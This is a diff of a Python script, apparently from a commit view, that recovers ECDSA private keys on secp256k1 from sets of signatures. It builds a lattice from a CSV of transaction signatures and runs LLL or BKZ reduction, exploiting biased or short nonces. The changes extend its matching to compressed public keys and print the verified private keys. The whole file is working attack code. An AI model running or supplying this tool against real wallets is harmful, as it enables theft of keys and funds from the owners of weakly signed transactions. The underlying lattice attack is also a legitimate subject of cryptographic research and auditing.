11#!/usr/bin/env python
2- # Author: Dario Clavijo (2020)
2+ # Author: Dario Clavijo (2020)
3+ # MIT License
34
45import sys
56import argparse
67import mmap
78import gmpy2
89from fpylll import IntegerMatrix , LLL , BKZ
910from ecdsa import SigningKey , SECP256k1
10-
11+ from ecdsa . ecdsa import int_to_string
1112
1213DEFAULT_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
1314
@@ -16,34 +17,54 @@ def modular_inv(a, b):
1617 return int (gmpy2 .invert (a , b ))
1718
1819
20+ def normalize_pubhex (s : str ) -> str :
21+ """Normalize pubkey hex string: strip prefix, lowercase."""
22+ if s is None :
23+ return ""
24+ s2 = s .strip ()
25+ if s2 .startswith ("0x" ) or s2 .startswith ("0X" ):
26+ s2 = s2 [2 :]
27+ return s2 .lower ()
28+
29+
1930def load_csv (filename , limit = None , mmap_flag = False ):
2031 msgs , sigs , pubs = [], [], []
32+ def parse_pub (p ):
33+ return normalize_pubhex (p )
34+
2135 if mmap_flag :
22- with open (filename , 'r' ) as f :
36+ with open (filename , "r" ) as f :
2337 mapped_file = mmap .mmap (f .fileno (), 0 , access = mmap .ACCESS_READ )
2438 lines = mapped_file .splitlines ()
2539 for n , line in enumerate (lines ):
2640 if limit is not None and n >= limit :
2741 break
28- l = line .decode ('utf-8' ).rstrip ().split ("," )
29- tx , R , S , Z , pub = l
42+ l = line .decode ("utf-8" ).rstrip ().split ("," )
43+ if len (l ) < 5 :
44+ continue
45+ tx , R , S , Z , pub = l [:5 ]
3046 msgs .append (int (Z , 16 ))
3147 sigs .append ((int (R , 16 ), int (S , 16 )))
32- pubs .append (pub )
48+ pubs .append (parse_pub ( pub ) )
3349 else :
34- with open (filename , 'r' ) as fp :
50+ with open (filename , "r" ) as fp :
3551 for n , line in enumerate (fp ):
3652 if limit is not None and n >= limit :
3753 break
38- tx , R , S , Z , pub = line .rstrip ().split ("," )
54+ parts = line .rstrip ().split ("," )
55+ if len (parts ) < 5 :
56+ continue
57+ tx , R , S , Z , pub = parts [:5 ]
3958 msgs .append (int (Z , 16 ))
4059 sigs .append ((int (R , 16 ), int (S , 16 )))
41- pubs .append (pub )
60+ pubs .append (parse_pub ( pub ) )
4261 return msgs , sigs , pubs
4362
4463
4564def make_matrix_fpylll (msgs , sigs , B , order , integer_mode = False ):
4665 m = len (msgs )
66+ if m < 1 :
67+ raise ValueError ("Need at least 1 signature to construct matrix" )
4768 m1 , m2 = m + 1 , m + 2
4869 B2 = 1 << B
4970 mat = IntegerMatrix (m2 , m2 )
@@ -58,19 +79,23 @@ def make_matrix_fpylll(msgs, sigs, B, order, integer_mode=False):
5879 delta_r = (sigs [i ][0 ] * mi_sigi_order - rnsn_inv ) % order
5980 delta_z = (msgs [i ] * mi_sigi_order - mnsn_inv ) % order
6081
61- mat [i , i ] = order
82+ mat [i , i ] = int ( order )
6283 if integer_mode :
84+ # scale into integer domain
6385 mat [m , i ] = int (order * delta_r )
6486 mat [m1 , i ] = int (order * delta_z )
6587 else :
88+ # keep smaller integers but scaled reasonably
6689 mat [m , i ] = int (delta_r )
6790 mat [m1 , i ] = int (delta_z )
6891
6992 if integer_mode :
70- mat [m , m1 ] = B2
93+ # keep large scaling in integer mode
94+ mat [m , m1 ] = int (B2 )
7195 else :
72- mat [m , m1 ] = int (B2 // order )
73- mat [m1 , m1 ] = B2
96+ # use rounded ratio to avoid truncation artifacts
97+ mat [m , m1 ] = int (round (B2 / order )) if order != 0 else int (B2 )
98+ mat [m1 , m1 ] = int (B2 )
7499
75100 return mat
76101
@@ -84,82 +109,151 @@ def reduce_matrix(matrix, algorithm="LLL"):
84109 return matrix
85110
86111
87- def privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , order , max_rows = 20 ):
112+ def point_bytes_from_vk (vk ):
113+ """Return uncompressed and compressed hex strings from a VerifyingKey."""
114+ raw = vk .to_string ()
115+ if len (raw ) != 64 :
116+ # unexpected format - fallback
117+ return None , None
118+ x = raw [:32 ]
119+ y = raw [32 :]
120+ x_hex = x .hex ()
121+ y_hex = y .hex ()
122+ uncompressed = "04" + x_hex + y_hex
123+ # compressed prefix depends on parity of y
124+ y_int = int .from_bytes (y , "big" )
125+ prefix = "03" if (y_int & 1 ) else "02"
126+ compressed = prefix + x_hex
127+ return uncompressed .lower (), compressed .lower ()
128+
129+
130+ def privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , order , max_rows = 20 , max_candidates = 1000 ):
88131 keys = set ()
89132 m = len (msgs )
90133 msgn , rn , sn = msgs [- 1 ], sigs [- 1 ][0 ], sigs [- 1 ][1 ]
91134
92135 params = []
93136 for i in range (m ):
94- a = rn * sigs [i ][1 ]
95- b = sn * sigs [i ][0 ]
96- c = sn * msgs [i ]
97- d = msgn * sigs [i ][1 ]
137+ a = ( rn * sigs [i ][1 ]) % order
138+ b = ( sn * sigs [i ][0 ]) % order
139+ c = ( sn * msgs [i ]) % order
140+ d = ( msgn * sigs [i ][1 ]) % order
98141 cd = (c - d ) % order
99- ab_list = None if a == b else [(a - b ) % order , (b - a ) % order ]
142+ ab_list = None if a == b else [(( a - b ) % order ) , (( b - a ) % order ) ]
100143 params .append ((b , cd , ab_list ))
101144
145+ # compute row norms (only first m columns contribute to norm in our design)
102146 row_norms = []
103- for idx in range (matrix .nrows ):
104- norm2 = sum ((float (matrix [idx , j ]) ** 2 for j in range (m )))
105- row_norms .append ((norm2 , idx ))
147+ for ridx in range (matrix .nrows ):
148+ # norm over first m columns
149+ norm2 = 0.0
150+ for j in range (m ):
151+ v = float (matrix [ridx , j ])
152+ norm2 += v * v
153+ row_norms .append ((norm2 , ridx ))
106154 row_norms .sort ()
107155
156+ checked = 0
108157 for _ , ridx in row_norms [:max_rows ]:
158+ if checked >= max_candidates :
159+ break
109160 row = [int (matrix [ridx , j ]) for j in range (m )]
110161 for i , (b , cd , ab_list ) in enumerate (params ):
111- base = (cd - b * row [i ])
162+ base = (cd - ( b * row [i ])) % order
112163 if ab_list is None :
113- keys .add (base % order )
164+ # direct candidate
165+ candidate = base % order
166+ if 1 <= candidate < order :
167+ keys .add (candidate )
114168 else :
115169 for ab in ab_list :
116170 if ab :
117- inv = modular_inv (ab , order )
118- keys .add ((base * inv ) % order )
171+ try :
172+ inv = modular_inv (ab , order )
173+ except Exception :
174+ continue
175+ candidate = (base * inv ) % order
176+ if 1 <= candidate < order :
177+ keys .add (candidate )
178+ checked = len (keys )
179+ if checked >= max_candidates :
180+ break
181+
119182 return list (keys )
120183
121184
122- def is_valid_key (privkey : int , pubkeys : list ) -> bool :
123- """
124- Check if privkey matches any known pubkey (hex string, uncompressed only).
125- """
126- try :
127- sk = SigningKey .from_secret_exponent (privkey , curve = SECP256k1 )
128- vk = sk .get_verifying_key ()
129- derived_hex = "04" + vk .to_string ().hex ()
130- return derived_hex .lower () in [p .lower () for p in pubkeys ]
131- except Exception :
132- return False
185+ def derived_pubhexes_for_candidates (candidates ):
186+ """Given a list of private integer candidates, derive both compressed and uncompressed pub hexes."""
187+ mapping = {}
188+ for priv in candidates :
189+ try :
190+ sk = SigningKey .from_secret_exponent (priv , curve = SECP256k1 )
191+ vk = sk .get_verifying_key ()
192+ uncmp , cmpd = point_bytes_from_vk (vk )
193+ mapping [priv ] = (uncmp , cmpd )
194+ except Exception :
195+ # skip invalid privs
196+ continue
197+ return mapping
133198
134199
135- def display_keys (keys , pubkeys ):
136- verified = [k for k in keys if is_valid_key (k , pubkeys )]
200+ def display_keys (keys , pubkeys , show_all = False ):
201+ pubset = set (normalize_pubhex (p ) for p in pubkeys if p )
202+ if not pubset :
203+ sys .stderr .write ("[!] Warning: no pubkeys given for verification.\n " )
204+
205+ # batch derive pubkeys
206+ mapping = derived_pubhexes_for_candidates (keys )
207+ verified = []
208+ for priv , (uncmp , cmpd ) in mapping .items ():
209+ if uncmp in pubset or cmpd in pubset :
210+ verified .append ((priv , uncmp , cmpd ))
211+
137212 if not verified :
138- print ("No verified keys found." )
213+ if show_all :
214+ # show all candidates in hex
215+ print ("Recovered candidates (not verified):" )
216+ for k in keys :
217+ print (f"{ k :064x} " )
218+ else :
219+ print ("No verified keys found." )
139220 return
221+
140222 print ("\n Verified private keys:" )
141- for key in verified :
142- print (f"{ key :064x} " )
223+ for priv , uncmp , cmpd in verified :
224+ print (f"priv: { priv :064x} " )
225+ print (f" uncompressed: { uncmp } " )
226+ print (f" compressed: { cmpd } \n " )
143227
144228
145229def main ():
146230 parser = argparse .ArgumentParser (description = "ECDSA private key recovery using lattice reduction (fpylll)" )
147231 parser .add_argument ("filename" , help = "CSV file containing ECDSA traces" )
148232 parser .add_argument ("B" , type = int , help = "log2 bound parameter B" )
149- parser .add_argument ("limit" , type = int , help = "Limit number of signatures to process" )
233+ parser .add_argument ("limit" , type = int , nargs = "?" , default = None , help = "Limit number of signatures to process (optional) " )
150234 parser .add_argument ("--order" , type = int , default = DEFAULT_ORDER , help = "Curve order (default: secp256k1)" )
151235 parser .add_argument ("--reduction" , choices = ["LLL" , "BKZ" ], default = "LLL" , help = "Lattice reduction algorithm" )
152236 parser .add_argument ("--mmap" , action = "store_true" , help = "Enable mmap for fast CSV access" )
153237 parser .add_argument ("--integer_mode" , action = "store_true" , help = "Scale matrix to ensure integer values" )
238+ parser .add_argument ("--max_rows" , type = int , default = 20 , help = "Max number of reduced rows to inspect" )
239+ parser .add_argument ("--max_candidates" , type = int , default = 1000 , help = "Stop after this many candidates are gathered" )
240+ parser .add_argument ("--show_all" , action = "store_true" , help = "Show all recovered candidates even if not verified" )
154241 args = parser .parse_args ()
155242
156243 msgs , sigs , pubs = load_csv (args .filename , limit = args .limit , mmap_flag = args .mmap )
157244 sys .stderr .write (f"Using: { len (msgs )} sigs...\n " )
245+ if len (msgs ) < 2 :
246+ sys .stderr .write ("[!] Warning: fewer than 2 signatures - results may be meaningless.\n " )
158247
159248 matrix = make_matrix_fpylll (msgs , sigs , args .B , args .order , integer_mode = args .integer_mode )
249+ sys .stderr .write ("Matrix constructed, starting reduction...\n " )
160250 matrix = reduce_matrix (matrix , algorithm = args .reduction )
161- keys = privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , args .order )
162- display_keys (keys , pubs )
251+ sys .stderr .write ("Reduction complete, extracting candidates...\n " )
252+
253+ keys = privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , args .order , max_rows = args .max_rows , max_candidates = args .max_candidates )
254+ sys .stderr .write (f"Candidates found: { len (keys )} \n " )
255+
256+ display_keys (keys , pubs , show_all = args .show_all )
163257
164258
165259if __name__ == "__main__" :
0 commit comments